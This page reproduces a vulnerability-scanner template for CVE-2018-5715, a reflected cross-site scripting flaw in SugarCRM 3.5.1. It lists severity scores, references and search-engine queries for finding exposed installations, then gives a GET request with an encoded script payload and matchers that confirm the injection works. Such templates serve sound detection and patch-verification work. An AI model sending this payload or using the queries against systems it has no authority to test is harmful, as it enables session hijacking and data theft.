CVE-2018-5715: SugarCRM 3.5.1 - Cross-Site Scripting

2025-08-01 SugarCRM PoC Public

Description

SugarCRM 3.5.1 is vulnerable to cross-site scripting via phprint.php and a parameter name in the query string (aka a $key variable).

PoC

id: CVE-2018-5715

info:
  name: SugarCRM 3.5.1 - Cross-Site Scripting
  author: edoardottt
  severity: medium
  description: SugarCRM 3.5.1 is vulnerable to cross-site scripting via phprint.php and a parameter name in the query string (aka a $key variable).
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of SugarCRM or apply the necessary security patches provided by the vendor.
  reference:
    - https://www.exploit-db.com/exploits/43683
    - https://m4k4br0.github.io/sugarcrm-xss/
    - https://www.exploit-db.com/exploits/43683/
    - https://nvd.nist.gov/vuln/detail/CVE-2018-5715
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-5715
    cwe-id: CWE-79
    epss-score: 0.06914
    epss-percentile: 0.9375
    cpe: cpe:2.3:a:sugarcrm:sugarcrm:3.5.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: sugarcrm
    product: sugarcrm
    shodan-query:
      - http.html:"SugarCRM Inc. All Rights Reserved"
      - http.title:sugarcrm
      - http.html:"sugarcrm inc. all rights reserved"
    fofa-query:
      - body="sugarcrm inc. all rights reserved"
      - title=sugarcrm
    google-query:
      - intext:"SugarCRM Inc. All Rights Reserved"
      - intitle:sugarcrm
      - intext:"sugarcrm inc. all rights reserved"
  tags: cve2018,cve,sugarcrm,xss,edb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?action=Login&module=Users&print=a&%22%2F%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '&"/><script>alert(1)</script>=&"><< Back</a><br><br>'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100d2d8b81fb47874a3277093ee8d02f81435308995701b1f47e54889d5fa1f4e840220751f86a761e3938a0b75a70a3ccaa96dd1d8cbcbbaf32a55f44dab9f5f52880e:922c64590222798bb761d5b6d8e72950

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